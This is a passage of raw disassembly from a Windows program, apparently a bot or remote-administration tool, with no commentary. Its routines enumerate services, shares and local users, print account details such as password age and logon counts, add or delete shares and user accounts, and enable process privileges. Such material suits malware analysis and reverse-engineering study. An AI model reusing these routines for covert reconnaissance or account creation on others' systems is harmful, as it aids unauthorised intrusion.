cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CB52C ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB2AC push off_439068[eax*4] push offset unk_439714 push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DB2AC push off_43906C[eax*4] push offset dword_4396F8 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DB2AC lea eax, [eax+eax*2] push off_439068[eax*4] push offset unk_4396D4 push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4DB4AC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DB4AC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DB24C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DB24C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4DB24C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CB528 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CB500 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CB578 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_439760 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CB51C ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB6C4 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB4B0 push off_43906C[eax*4] push offset unk_439818 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DB4B0 push off_439068[eax*4] push offset unk_4397E8 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DB4B0 lea eax, [eax+eax*2] push off_439068[eax*4] push offset unk_4397C0 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push [ebp+arg_8] mov [ebp+var_24], eax call sub_418C2A add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4CB50C pop edi leave retn sub_418E7B endp ; =============== S U B R O U T I N E ======================================= sub_418ED5 proc near ; CODE XREF: sub_418DAF+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push eax push esi call dword_4CB4FC pop esi retn sub_418ED5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418EF6 proc near ; CODE XREF: sub_418DAF+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4CB68C test eax, eax mov [ebp+arg_0], eax jnz loc_41929E mov eax, [ebp+var_4] test eax, eax jz loc_4192D9 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_41B886 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_419015 dec eax jz short loc_41900E dec eax jz short loc_419007 mov eax, offset aUnknown ; "Unknown" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419007: ; CODE XREF: sub_418EF6+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_41900E: ; CODE XREF: sub_418EF6+105j mov eax, offset aUser_2 ; "User" jmp short loc_41901A ; --------------------------------------------------------------------------- loc_419015: ; CODE XREF: sub_418EF6+102j mov eax, offset aGuest ; "Guest" loc_41901A: ; CODE XREF: sub_418EF6+10Fj ; sub_418EF6+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_41B886 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_41B886 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_409A72 add esp, 20h pop edi pop ebx jmp short loc_4192CA ; --------------------------------------------------------------------------- loc_41929E: ; CODE XREF: sub_418EF6+35j push eax lea eax, [ebp+var_204] push offset unk_439838 push eax call sub_41B886 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_409A72 add esp, 20h loc_4192CA: ; CODE XREF: sub_418EF6+3A6j cmp [ebp+var_4], 0 jz short loc_4192D9 push [ebp+var_4] call dword_4CB6C4 loc_4192D9: ; CODE XREF: sub_418EF6+40j ; sub_418EF6+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_418EF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192DF proc near ; CODE XREF: sub_401ACD+473Bp var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_418C2A push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_41931E: ; CODE XREF: sub_4192DF+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_4CB594 cmp eax, esi mov [ebp+var_C], eax jz short loc_41937F cmp eax, 0EAh jz short loc_41937F push eax push eax call sub_41945F pop ecx push eax lea eax, [ebp+var_218] push offset unk_439A28 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_41937F: ; CODE XREF: sub_4192DF+62j ; sub_4192DF+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_41940D xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_4193FA loc_419391: ; CODE XREF: sub_4192DF+EDj cmp edi, esi jz short loc_4193D0 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_6 ; " %S" push eax call sub_41B886 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_419391 jmp short loc_4193FA ; --------------------------------------------------------------------------- loc_4193D0: ; CODE XREF: sub_4192DF+B4j lea eax, [ebp+var_218] push offset unk_4399F4 push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4193FA: ; CODE XREF: sub_4192DF+9Ej ; sub_4192DF+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_41940D push edi call dword_4CB6C4 xor edi, edi mov [ebp+var_4], edi loc_41940D: ; CODE XREF: sub_4192DF+A5j ; sub_4192DF+120j cmp [ebp+var_C], 0EAh jz loc_41931E cmp edi, esi jz short loc_419425 push edi call dword_4CB6C4 loc_419425: ; CODE XREF: sub_4192DF+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_41B886 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_4192DF endp ; =============== S U B R O U T I N E ======================================= sub_41945F proc near ; CODE XREF: sub_418A98+41p ; sub_418C8E+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_419511 jz loc_41950A cmp eax, 7Bh ja short loc_4194D6 jz short loc_4194CC cmp eax, 5 jz short loc_4194C2 cmp eax, 8 jz short loc_4194B8 cmp eax, 32h jz short loc_4194AE cmp eax, 35h jz short loc_4194A4 cmp eax, 57h jnz loc_419560 push offset aInvalidParamet ; "Invalid parameter." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194A4: ; CODE XREF: sub_41945F+30j push offset aServerNameNotF ; "Server name not found." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194AE: ; CODE XREF: sub_41945F+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194B8: ; CODE XREF: sub_41945F+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194C2: ; CODE XREF: sub_41945F+21j push offset aAccessDenied_ ; "Access denied." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194CC: ; CODE XREF: sub_41945F+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194D6: ; CODE XREF: sub_41945F+1Aj sub eax, 7Ch jz short loc_419503 sub eax, 7C8h jz short loc_4194FC dec eax jz short loc_4194F2 dec eax jnz short loc_419560 push offset aDuplicateShare ; "Duplicate share name." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194F2: ; CODE XREF: sub_41945F+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_419581 ; --------------------------------------------------------------------------- loc_4194FC: ; CODE XREF: sub_41945F+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419503: ; CODE XREF: sub_41945F+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41950A: ; CODE XREF: sub_41945F+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419511: ; CODE XREF: sub_41945F+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_41954A jz short loc_419543 sub eax, 8ADh jz short loc_419575 dec eax dec eax jz short loc_41953C dec eax jz short loc_419535 dec eax dec eax jnz short loc_419560 push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419535: ; CODE XREF: sub_41945F+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41953C: ; CODE XREF: sub_41945F+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419543: ; CODE XREF: sub_41945F+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41954A: ; CODE XREF: sub_41945F+B9j sub eax, 8CAh jz short loc_41957C sub eax, 17h jz short loc_419575 sub eax, 25h jz short loc_41956E sub eax, 29h jz short loc_419567 loc_419560: ; CODE XREF: sub_41945F+35j ; sub_41945F+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419567: ; CODE XREF: sub_41945F+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41956E: ; CODE XREF: sub_41945F+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_419575: ; CODE XREF: sub_41945F+C2j ; sub_41945F+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_419581 ; --------------------------------------------------------------------------- loc_41957C: ; CODE XREF: sub_41945F+F0j push offset aNetworkConnect ; "Network connection not found." loc_419581: ; CODE XREF: sub_41945F+40j ; sub_41945F+4Aj ... push offset dword_4DB250 call sub_41B886 pop ecx mov eax, offset dword_4DB250 pop ecx retn sub_41945F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419593 proc near ; CODE XREF: sub_401ACD+4781p var_718 = byte ptr -718h var_318 = byte ptr -318h var_108 = byte ptr -108h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 718h push esi push 200h push [ebp+arg_0] lea eax, [ebp+var_718] push eax call sub_41D834 add esp, 0Ch lea eax, [ebp+arg_0] mov esi, 108h push eax lea eax, [ebp+var_108] push eax mov [ebp+arg_0], esi call dword_4270C0 ; GetComputerNameA lea eax, [ebp+var_108] push esi push eax lea eax, [ebp+var_318] push eax call sub_41D834 lea eax, [ebp+var_718] push eax call sub_41D817 add esp, 10h shl eax, 1 push eax lea eax, [ebp+var_718] push eax lea eax, [ebp+var_318] push 0 push eax push 0 call dword_4CB644 test eax, eax jnz short loc_419623 mov esi, offset dword_4DB04C push offset unk_439D5C push esi call sub_41B886 pop ecx pop ecx jmp short loc_41964C ; --------------------------------------------------------------------------- loc_419623: ; CODE XREF: sub_419593+7Aj lea ecx, [ebp+var_718] push ecx lea ecx, [ebp+var_318] push ecx push eax call sub_41945F pop ecx mov esi, offset dword_4DB04C push eax push offset dword_439D30 push esi call sub_41B886 add esp, 14h loc_41964C: ; CODE XREF: sub_419593+8Ej mov eax, esi pop esi leave retn sub_419593 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419651 proc near ; CODE XREF: sub_416F1A+45p ; sub_416F1A+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call dword_4270F8 ; GetCurrentProcess push eax call dword_4CB618 ; OpenProcessToken test eax, eax jnz short loc_419670 leave retn ; --------------------------------------------------------------------------- loc_419670: ; CODE XREF: sub_419651+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call dword_4CB5F0 ; LookupPrivilegeValueA test eax, eax jz short loc_4196AE cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_419697 or [ebp+var_8], 2 jmp short loc_41969B ; --------------------------------------------------------------------------- loc_419697: ; CODE XREF: sub_419651+3Ej and [ebp+var_8], 0FFFFFFFDh loc_41969B: ; CODE XREF: sub_419651+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push 